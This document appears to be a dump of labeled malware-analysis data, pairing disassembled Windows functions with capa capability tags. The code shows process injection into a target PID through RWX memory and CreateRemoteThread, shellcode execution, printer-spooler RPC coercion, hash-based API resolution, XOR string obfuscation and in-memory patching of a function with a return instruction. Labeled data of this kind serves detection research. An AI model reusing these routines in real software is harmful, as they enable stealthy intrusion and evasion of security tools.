joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002f340
Capabilities:
Get hostname

Disassembly:
mov rcx, qword [rcx + 8]
mov rcx, qword [rcx]
jmp 0x140031640
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0xa0
mov rax, qword [0x140050028]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rsi, rcx
mov rdx, rcx
lea rcx, str.___Invoking_RpcRemoteFindFirstPrinterChangeNotificationEx_with_target_path:__ws_r_n
call fcn.140001550
mov dword [rsp + 0x70], 0x10
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edx, 0x208
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
lea r9, [rsp + 0x88]
lea r8, str._hs
mov edx, 0x104
mov rcx, rax
call fcn.140001c80
xor r14d, r14d
mov qword [rsp + 0x68], r14
lea rdi, [rsp + 0x78]
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov dword [rsp + 0x38], r14d
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, rbx
xor r8d, r8d
lea edx, [r14 + 1]
lea rcx, [0x14003e630]
call qword [sym.imp.RPCRT4.dll_NdrClientCall3]
mov qword [rsp + 0x50], rax
test eax, eax
jne 0x140031773
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], r14d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 0x100
mov r9, qword [rsp + 0x68]
xor r8d, r8d
lea edx, [rax + 0x41]
lea rcx, [0x14003e630]
call qword [sym.imp.RPCRT4.dll_NdrClientCall3]
mov qword [rsp + 0x58], rax
lea r9, [rsp + 0x68]
xor r8d, r8d
lea edx, [r14 + 0x1d]
lea rcx, [0x14003e630]
call qword [sym.imp.RPCRT4.dll_NdrClientCall3]
mov qword [rsp + 0x60], rax
jmp 0x140031782
mov edx, eax
lea rcx, str._MS_RPRN______RpcOpenPrinter_failed__d_n
call fcn.140001550
nop
xor eax, eax
jmp 0x140031786
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.140031900
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x1400314b0
Capabilities:
Get hostname

Disassembly:
mov rcx, qword [rcx + 8]
mov rcx, qword [rcx]
jmp 0x1400314b0
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0xb0
mov rax, qword [0x140050028]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov rsi, rcx
mov rdx, rcx
lea rcx, str.___Invoking_RpcRemoteFindFirstPrinterChangeNotification_with_target_path:__ws_r_n
call fcn.140001550
mov dword [rsp + 0x78], 0x10
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edx, 0x208
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
lea r9, [rsp + 0x90]
lea r8, str._hs
mov edx, 0x104
mov rcx, rax
call fcn.140001c80
xor r14d, r14d
mov qword [rsp + 0x70], r14
lea rdi, [rsp + 0x80]
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov dword [rsp + 0x38], r14d
lea rax, [rsp + 0x80]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, rbx
xor r8d, r8d
lea edx, [r14 + 1]
lea rcx, [0x14003e630]
call qword [sym.imp.RPCRT4.dll_NdrClientCall3]
mov rdi, rax
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], eax
test eax, eax
jne 0x1400315fb
mov qword [rsp + 0x48], r14
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x38], r14d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 0x100
mov r9, qword [rsp + 0x70]
xor r8d, r8d
lea edx, [rax + 0x3e]
lea rcx, [0x14003e630]
call qword [sym.imp.RPCRT4.dll_NdrClientCall3]
mov qword [rsp + 0x60], rax
mov edi, eax
mov dword [rsp + 0x50], eax
lea r9, [rsp + 0x70]
xor r8d, r8d
lea edx, [r14 + 0x1d]
lea rcx, [0x14003e630]
call qword [sym.imp.RPCRT4.dll_NdrClientCall3]
mov qword [rsp + 0x68], rax
jmp 0x140031609
mov edx, eax
lea rcx, str.RpcOpenPrinter_failed__d_n
call fcn.140001550
jmp 0x140031611
mov eax, edi
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140031900
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140031640
Capabilities:
Get hostname

Disassembly:
mov rcx, qword [rcx + 8]
mov rcx, qword [rcx]
jmp 0x140031640
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0xa0
mov rax, qword [0x140050028]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rsi, rcx
mov rdx, rcx
lea rcx, str.___Invoking_RpcRemoteFindFirstPrinterChangeNotificationEx_with_target_path:__ws_r_n
call fcn.140001550
mov dword [rsp + 0x70], 0x10
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edx, 0x208
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
lea r9, [rsp + 0x88]
lea r8, str._hs
mov edx, 0x104
mov rcx, rax
call fcn.140001c80
xor r14d, r14d
mov qword [rsp + 0x68], r14
lea rdi, [rsp + 0x78]
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov dword [rsp + 0x38], r14d
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, rbx
xor r8d, r8d
lea edx, [r14 + 1]
lea rcx, [0x14003e630]
call qword [sym.imp.RPCRT4.dll_NdrClientCall3]
mov qword [rsp + 0x50], rax
test eax, eax
jne 0x140031773
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], r14d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 0x100
mov r9, qword [rsp + 0x68]
xor r8d, r8d
lea edx, [rax + 0x41]
lea rcx, [0x14003e630]
call qword [sym.imp.RPCRT4.dll_NdrClientCall3]
mov qword [rsp + 0x58], rax
lea r9, [rsp + 0x68]
xor r8d, r8d
lea edx, [r14 + 0x1d]
lea rcx, [0x14003e630]
call qword [sym.imp.RPCRT4.dll_NdrClientCall3]
mov qword [rsp + 0x60], rax
jmp 0x140031782
mov edx, eax
lea rcx, str._MS_RPRN______RpcOpenPrinter_failed__d_n
call fcn.140001550
nop
xor eax, eax
jmp 0x140031786
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.140031900
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret

Function at 0x1400327e4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003282e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003282e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003282e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003282e
cmp dword [rcx + 0x84], 0xe
jbe 0x14003282e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140032830
xor al, al
add rsp, 0x28
ret
Function at 0x1400111f9
Capabilities:
Terminate process

Disassembly:
jmp 0x140012f70
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011276
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011880
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x2a0
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x68
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x2c8]
mov rax, qword [0x14001c008]
xor rax, rbp
mov qword [rbp + 0x258], rax
lea rcx, [0x140021016]
call fcn.140011370
lea rax, [rbp + 0x10]
lea rcx, [0x140019cb0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x115
rep movsb byte [rdi], byte [rsi]
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x288]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov edx, eax
lea rcx, str.Injecting_to_PID:_i
call fcn.14001119a
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x288]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x148], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x115
xor edx, edx
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x188], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x115
lea r8, [rbp + 0x10]
mov rdx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x188]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x168], rax
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x140019c80]
call fcn.14001130c
mov eax, edi
mov rcx, qword [rbp + 0x258]
xor rcx, rbp
call fcn.1400111b3
lea rsp, [rbp + 0x260]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140011280
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400142c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400142e0
xor al, al
jmp 0x140014361
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400142f3
xor al, al
jmp 0x140014361
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001431d
xor al, al
jmp 0x140014361
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014331
xor al, al
jmp 0x140014361
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014343
xor al, al
jmp 0x140014361
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001435f
xor al, al
jmp 0x140014361
mov al, 1
add rsp, 0x38
ret
Function at 0x4281f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
sub rsp, 0x30
mov rbp, rsp
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x28], rbp
nop
lea rcx, [0x00424d60]
call fcn.0040d7a0
nop
nop
call fcn.00424950
test al, al
je 0x428241
mov rcx, qword [0x0042d058]
lea rdx, [0x0042840c]
call fcn.00406340
mov rcx, rax
call fcn.004064b0
call fcn.00405100
call fcn.00408c80
lea rcx, [rbp + 0x20]
lea rdx, [0x0042843c]
call fcn.00424a30
lea rcx, [0x00437250]
mov rdx, qword [rbp + 0x20]
mov r8, qword [0x00418718]
call fcn.0040aea0
mov rcx, qword [0x00437250]
call fcn.0040aa40
xor rcx, rcx
mov rdx, rax
mov r8d, 0x1000
mov r9d, 0x40
call sub.kernel32.dll_VirtualAlloc_1
mov qword [0x00437260], rax
cmp qword [0x00437260], 0
jne 0x4282bb
mov rcx, qword [0x00418e00]
mov dl, 1
lea r8, [0x004284d4]
call fcn.004210d0
mov rcx, rax
call fcn.004082f0
nop
mov rcx, qword [0x00437250]
call fcn.0040aa40
mov rcx, qword [0x00437250]
mov rdx, qword [0x00437260]
mov r8, rax
call fcn.00405190
mov rax, qword [0x00437260]
mov qword [0x00437258], rax
call qword [0x00437258]
nop
mov rcx, qword [0x00437260]
xor rdx, rdx
mov r8d, 0x8000
call sub.kernel32.dll_VirtualFree_1
jmp 0x42834b
nop
lea rcx, [rbp + 0x20]
mov rdx, qword [0x00418718]
call fcn.0040ae20
call fcn.00408c80
jmp 0x42836b
lea rsp, [rbp + 0x30]
pop rbp
ret
Function at 0x180002540
Capabilities:
Terminate process

Disassembly:
jmp 0x180086f00
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140005930
Capabilities:
Delete file
Encode data using xor

Disassembly:
sub rsp, 0x88
cmp byte [0x14009c58b], 0
movups xmm0, xmmword [0x14009c570]
mov eax, dword [0x14009c588]
mov dword [rsp + 0x48], eax
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009c580]
movsd qword [rsp + 0x40], xmm0
je 0x140005b2f
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140005aea
movdqa xmm0, xmmword [str.55555555555555559999999999999999]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x14009d060]
mov eax, 5
movdqa xmm4, xmmword [0x14009d150]
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm7
movdqa xmm7, xmmword [0x14009d0a0]
movd xmm6, eax
mov eax, Ordinal_33
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x50], xmm8
movd xmm8, eax
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14009d0c0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009d0c0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x1400059d0
movaps xmm8, xmmword [rsp + 0x50]
movaps xmm7, xmmword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x70]
cmp ecx, 0x1c
jge 0x140005b2f
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x35
xor byte [r8 - 1], al
cmp ecx, 0x1c
jl 0x140005b00
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add rsp, 0x88
ret
Function at 0x1400154e0
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1400ac388]
test rax, rax
jne 0x1400156bc
mov rax, qword gs:[0x60]
xor r11d, r11d
mov qword [rsp + 0x48], rbp
mov r10d, 0x78f86b75
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x30], rdi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x20], r15
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rsi, rbp
mov eax, dword [rsi + 0x58]
sub ax, 8
test r11d, r11d
je 0x14001557d
mov rcx, qword [rsi + 0x60]
mov edx, 0x88ed40e1
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140015574
nop word [rax + rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140015560
cmp edx, r11d
jne 0x14001567f
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r9
cmp rbx, r9
je 0x14001567f
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14001567f
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x88ed40e1
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400155f7
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400155e0
cmp edx, r10d
je 0x140015603
test r8d, r8d
jne 0x1400155c0
jmp 0x14001567f
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
cmp rax, rbx
jbe 0x140015697
lea rcx, [r15 + rbx]
cmp rax, rcx
jae 0x140015697
movzx ecx, byte [rax]
mov r11d, 0x88ed40e1
mov r10d, r11d
cmp cl, 0x2e
je 0x140015658
nop dword [rax]
movsx ecx, cl
inc rax
xor ecx, r11d
imul r11d, ecx, 0x1000193
movzx ecx, byte [rax]
cmp cl, 0x2e
jne 0x140015640
movzx ecx, byte [rax + 1]
inc rax
test cl, cl
je 0x14001567b
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, r10d
imul r10d, ecx, 0x1000193
movzx ecx, byte [rax]
test cl, cl
jne 0x140015663
mov rsi, qword [rbp]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, rbp
je 0x140015695
cmp qword [rax + 0x30], 0
jne 0x140015532
xor eax, eax
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov qword [0x1400ac388], rax
add rsp, 0x38
jmp rax
Function at 0x140018f60
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x1400ab0a0]
xor rax, rsp
mov qword [rbp - 0x18], rax
cmp byte [0x14009b911], 0
movsd xmm0, qword [0x14009b908]
movzx eax, word [0x14009b910]
movsd qword [rbp - 0x40], xmm0
mov word [rbp - 0x38], ax
je 0x140018fc0
xor byte [rbp - 0x3f], 0x36
xor byte [rbp - 0x3e], 0x37
xor byte [rbp - 0x3d], 0x38
xor byte [rbp - 0x3c], 0x39
xor byte [rbp - 0x3b], 0x3a
xor byte [rbp - 0x3a], 0x3b
xor byte [rbp - 0x39], 0x3c
xor byte [rbp - 0x38], 0x3d
xor byte [rbp - 0x37], 0x3e
mov byte [rbp - 0x40], WSASetLastError
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9, rax
test rax, rax
je 0x1400191a6
cmp byte [0x14009caed], 0
mov ecx, dword [0x14009cae8]
movsd xmm0, qword [str.qTPzK_ZWmQV.5B]
mov dword [rbp - 0x28], ecx
movzx ecx, word [0x14009caec]
mov word [rbp - 0x24], cx
mov qword [rsp + 0x70], rbx
movsd qword [rbp - 0x30], xmm0
je 0x14001916f
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140019130
movdqa xmm2, xmmword [0x14009d060]
mov eax, 5
movdqa xmm3, xmmword [0x14009d070]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x14009d150]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0x50], xmm6
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14009d0a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.qTPzK_ZWmQV.5B]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14009d0c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.55555555555555559999999999999999]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp - 0x30], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movaps xmm6, xmmword [rsp + 0x50]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14009d0a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x2c]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009d0c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.55555555555555559999999999999999]
xorps xmm2, xmm0
movd dword [rbp - 0x2c], xmm2
movsxd rax, ecx
lea r8, [rbp - 0x30]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x35
xor byte [r8 - 1], al
cmp ecx, 0xe
jl 0x140019140
lea rdx, [rbp - 0x30]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x1400191a1
mov edx, 1
lea r9, [rbp - 0x20]
mov rcx, rax
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400191a1
mov byte [rbx], 0xc3
mov rbx, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x18]
xor rcx, rsp
call fcn.140088090
add rsp, 0x60
pop rbp
ret
Function at 0x140019860
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x14009be90]
xor edi, edi
cmp dword [reloc.WS2_32.dll_accept], 2
mov r9, rax
movups xmm0, xmmword [str.Bd_MsUZRLR_5_]
mov dword [rsp + 0x40], ecx
movzx ecx, word [0x14009be94]
mov word [rsp + 0x44], cx
movzx ecx, byte [0x14009be96]
mov byte [rsp + 0x46], cl
mov ecx, edi
movups xmmword [rsp + 0x30], xmm0
jl 0x140019a2a
movdqa xmm0, xmmword [str.55555555555555559999999999999999]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x14009d060]
mov eax, 5
movdqa xmm4, xmmword [0x14009d150]
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm7
movdqa xmm7, xmmword [0x14009d0a0]
movd xmm6, eax
mov eax, Ordinal_33
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x50], xmm8
movd xmm8, eax
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14009d0c0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009d0c0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x140019910
movaps xmm8, xmmword [rsp + 0x50]
movaps xmm7, xmmword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x70]
cmp ecx, 0x17
jge 0x140019a6f
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x35
xor byte [r8 - 1], al
cmp ecx, 0x17
jl 0x140019a40
lea rdx, [rsp + 0x30]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x11]
call rbx
mov rbx, qword [rsp + 0x90]
test eax, eax
setne dil
mov eax, edi
add rsp, 0x80
pop rdi
ret